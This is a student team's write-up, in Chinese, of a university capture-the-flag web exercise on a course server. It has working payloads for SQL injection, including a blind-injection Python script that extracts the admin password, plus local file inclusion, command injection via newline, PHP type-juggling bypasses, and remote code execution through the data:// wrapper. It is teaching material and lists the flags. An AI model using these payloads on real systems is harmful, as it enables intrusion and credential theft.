###### tags: `攻防`
# 2018.01 NCU_CTF - project 2: web
* 組名:hao123
* 組員:
* 104502011 張晉豪
* 104502035 余長縣
* 104502036 林柏韜
* 104502037 張哲魁
* 104502557 趙彬智
## 1~4. BabyFirst 1~4
1. BabyFirst 1
> 看source code
<!-- AD{I_l00k_thr0u9h_50urc3c0de_n0d0ut} -->
2. BabyFirst 2
> 在 cookie 裡面,然後把 unicode 改回正常的字元
> [Unicode table](http://www.degraeve.com/reference/urlencoding.php)
<!-- AD{c00k1e_i5_s00000000_yummy_15nt_1t?} -->
3. BabyFirst 3
> 在 header 裡
<!-- AD{Y0u_F1nd_5ometh1n9_1n_h34d3r_c001!!!!} -->
4. BabyFirst 4
> 把 cookie 裡的 admin 的 value 改成 True,然後重新整理
<!-- AD{y00000_y0u_h4v3_kn0wn_usin9_f1r3} -->
## 5. Secret
> curl http://ctf.adl.csie.ncu.edu.tw:8766/admin.php
<!-- AD{yo_Cur1_i5_y0ur_g0Od_fr13nd_yeeeahhhhhh!!} -->
## 6. ADL Login System 1
> username 寫 `' or 1=1 #`
> 或者使用 python code
```python=
import requests
url = "http://ctf.adl.csie.ncu.edu.tw:9487/admin.php"
data = {'user': "' or 1=1 #"}
result = requests.post(url, data)
print(result.text)
```
> 原理:[參考](https://www.puritys.me/docs-blog/article-11-SQL-Injection-%E5%B8%B8%E8%A6%8B%E7%9A%84%E9%A7%AD%E5%AE%A2%E6%94%BB%E6%93%8A%E6%96%B9%E5%BC%8F.html)
## 7. Cat Center
> 直接按下 login,他會提示你用 robots.txt
> http://ctf.adl.csie.ncu.edu.tw:8767/robots.txt
> 他會再提示你有 dl.php 可以用
> http://ctf.adl.csie.ncu.edu.tw:8767/dl.php
> 看 source code 之後他會提示你他有 flag.php 這個檔案,但是直接訪問會被阻擋,所以我們可以利用 dl.php 中下載圖片的方式,直接把 flag.php 載下來
> http://ctf.adl.csie.ncu.edu.tw:8767/dl.php?mod=dl&file=falg.php
> 打開來看就有了
<!-- AD{d0wn1o4d_functi0n_Iz_veeryveeeery_D4NG3R} -->
## 8. LFI (Local File Inclusion)
> 我們可以發現 index.php 的 source code 不完整,表示他可能藏 flag 在裡面,所以我們利用 [php fliter](https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/) 的方法把原本的 index.php 用 base64 加密後拿出來再解密
> http://ctf.adl.csie.ncu.edu.tw:8764/index.php?page=php://filter/convert.base64-encode/resource=index
> 拿到的「PCFET0NU....G1sPgo=」就是加密後的 index.php,我們拿去 [decode](https://www.base64decode.org/),就會跑出原本的 index.php 了
<!-- AD{PHp_Wr4pp3r_r00000OOOOck5} -->
## 9. CMI (Command Injection)
> 我們直接按提交會發現,他是直接把我們輸入的字串 s,拿去當作 ping [s] 打在 command line 上,所以我們可以利用 unicode 來製造換行(%0a),藉此輸入其他的指令,如
> ```ls: http://ctf.adl.csie.ncu.edu.tw:8765/index.php?ip=%0als```
> 這樣我們就知道他的資料夾下有一個 flag.php 的檔案,
> 我們把他 cat 出來(因為不能用空格,所以我們用"<"來餵參數給 cat):
> http://ctf.adl.csie.ncu.edu.tw:8765/index.php?ip=%0acat%3Cflag.php
<!-- AD{Th3_NEW_L1n3_i5_The_K3Y_2nd_y0u_kn0w_h0w_t0_d0} -->
## 10. ADL Login System 2
[語法參考](https://websec.ca/kb/sql_injection)
* 用來做字元猜測的function
```python=
import string, requests, sys
textset = string.ascii_lowercase + string.digits + string.punctuation
url = "http://ctf.adl.csie.ncu.edu.tw:9487/admin.php"
payload = "' OR SUBSTRING(({}), {}, 1) = '{}' -- "
def dump(q):
n = 1
while True:
found = False
# start guessing
for c in textset:
data = {"user": payload.format(q, n, c)}
response = requests.post(url, data=data).text
if response.find("Successful") > -1:
sys.stdout.write(c)
sys.stdout.flush()
found = True
break
# end guessing
if not found:
print()
break
n += 1
```
* 利用`SELECT table_name FROM information_schema.tables limit 0,1`去猜出所有的`table_name`:
```python=
print("=====guess table_name=====")
for i in range(100):
dump("SELECT table_name FROM information_schema.tables LIMIT {},1".format(i))
>>> =====guess table_name=====
>>> character_sets
>>> collations
>>> ...
>>> ...
>>> innodb_sys_tablestats
>>> flag
>>> users
```
* 於是我們找到了存放account的table: `users` 和 第12題會用到的table: `flag`。
* 然後再猜`users`裡的`column_name`
```python=
print("=====guess column_name FROM 'users'=====")
for i in range(10):
dump("SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT {},1".format(i))
>>> =====guess column_name FROM 'users'=====
>>> user
>>> password
```
* 接下來就可以猜`admin`的`password`了
```python=
print("=====guess admin's password FROM 'users'=====")
dump("SELECT password FROM users WHERE user = 'admin'")
>>> =====guess admin's password FROM 'users'=====
>>> ad{...}
```
* 記得把ad改成大寫lol
<!-- AD{euniceisabadgirl} -->
## 11. Login as Admin
重點:在`php`中
* `str`轉換成`int`出現錯誤時會回傳`0`
* `(0 == "str")` is ==True==
* 正確寫法應為:`(0 === "anystring")` is False
* `int strcmp(string $str1, string $str2)`出現錯誤時也會回傳`0`
* `strcmp(keyA[], base64_encode($flag)) == 0` is ==True==
* `sha1()`出現錯誤時回傳`NULL`
* `sha1(keyA[]) === sha1(keyB'[])` is ==True==
* 參考:
* http://www.freebuf.com/articles/web/129607.html
* http://blog.csdn.net/qq_31481187/article/details/60968595
將網頁載下來直接「改值」,用他的Login按鈕來實現POST method,省去寫script的困擾(有試著寫但寫不出來zz)
```htmlembedded=
<!-- name="keyA" 改成 name="keyA[]", keyB 同樣 -->
<div id="login">
<form action="http://ctf.adl.csie.ncu.edu.tw:8768/" method="POST" id="form_login">
<span class="fontawesome-user"></span>
<input type="text" id="username" name="username" placeholder="Username">
<span class="fontawesome-lock"></span>
<input type="password" id="password" name="password" placeholder="Password">
<span class="fontawesome-key"></span>
<input type="text" name="keyA[]" placeholder="Secret Key A">
<span class="fontawesome-key"></span>
<input type="text" name="keyB[]" placeholder="Secret Key B">
<input type="hidden" name="data" id="login_data" value="{}">
<input type="submit" value="Login">
<!-- username 改成 admin, password 改成 0 -->
<script>
form_login.onsubmit = function () {
login_data.value = JSON.stringify({
username: "admin",
password: 0
});
username.value = null;
password.value = null;
};
</script>
```
然後打開改過的`html`檔,按下Login就彈出flag了
<!-- AD{d0ub1e_2nd_tri1i1ip1e_equ4ls_are_different!} -->
## 12. ADL Login System 3
(前製作業請參考第10題)
* 猜`flag`裡的`column_name`
```python=
print("=====guess column_name FROM 'flag'=====")
for i in range(10):
dump("SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' LIMIT {},1".format(i))
>>> =====guess column_name FROM 'flag'=====
>>> adl
```
* 猜flag
```python=
print("=====guess flag3=====")
dump("SELECT adl FROM flag")
>>> =====guess flag3=====
>>> ad{...}
```
* 一樣,記得把ad改成大寫ㄏㄏ
<!-- AD{2905958cd79b3b6a140d9d8c7312b6ce} -->
## 13. LFI2
> 既然我們可以用 8. 的方法注入`php`語法,那我們也可以直接利用`php`的 [`data`](http://php.net/manual/en/wrappers.data.php) 語法來執行`system()`看看遠端 server 上有哪些檔案
> http://ctf.adl.csie.ncu.edu.tw:8764/index.php?page=data://text/plain,%3C?php%20system(%22ls%20-al%22);%20?%3E
> 從 source code 可以很明顯看出
```
total 40
drwxr-xr-x 3 LFI LFI 4096 Dec 21 10:50 .
drwxr-xr-x 5 root root 4096 Dec 13 08:39 ..
drwxrwxr-x 3 LFI LFI 4096 Dec 13 08:05 3b8a24fe229f7f62e53e1060dca89c6a133f728aa4031f630cb3e59c466d2cb1
-rw-r--r-- 1 LFI LFI 1289 Dec 13 08:05 content.php
-rw-r--r-- 1 LFI LFI 45 Dec 13 08:05 flag.php
-rw-r--r-- 1 LFI LFI 328 Dec 13 08:05 header.png
-rw-r--r-- 1 LFI LFI 2099 Dec 21 10:50 index.php
-rwxr-xr-x 1 LFI LFI 3788 Dec 13 08:05 styles.css
-rwxr-xr-x 1 LFI LFI 3119 Dec 13 08:05 styles_alt.css
-rw-rw-r-- 1 LFI LFI 21 Dec 13 08:05 test.php
```
> 用同樣的方法繼續找下去,最後找到放有 flag 的檔案,把他 cat 出來吧!
> http://ctf.adl.csie.ncu.edu.tw:8764/index.php?page=data://text/plain,%3C?php%20system(%22cat%203b8a24fe229f7f62e53e1060dca89c6a133f728aa4031f630cb3e59c466d2cb1/3a0436148fef1ad7e3bafaa0259fa99833961abbdc3aaf3e371cc699c1b6314d/f14ggggggggggg%22);%20?%3E
<!-- AD{RF11_1s_v3e3ery_d4ng3r!!!} -->
## 14. Login as Admin 2
**不會** :disappointed: :disappointed: :disappointed: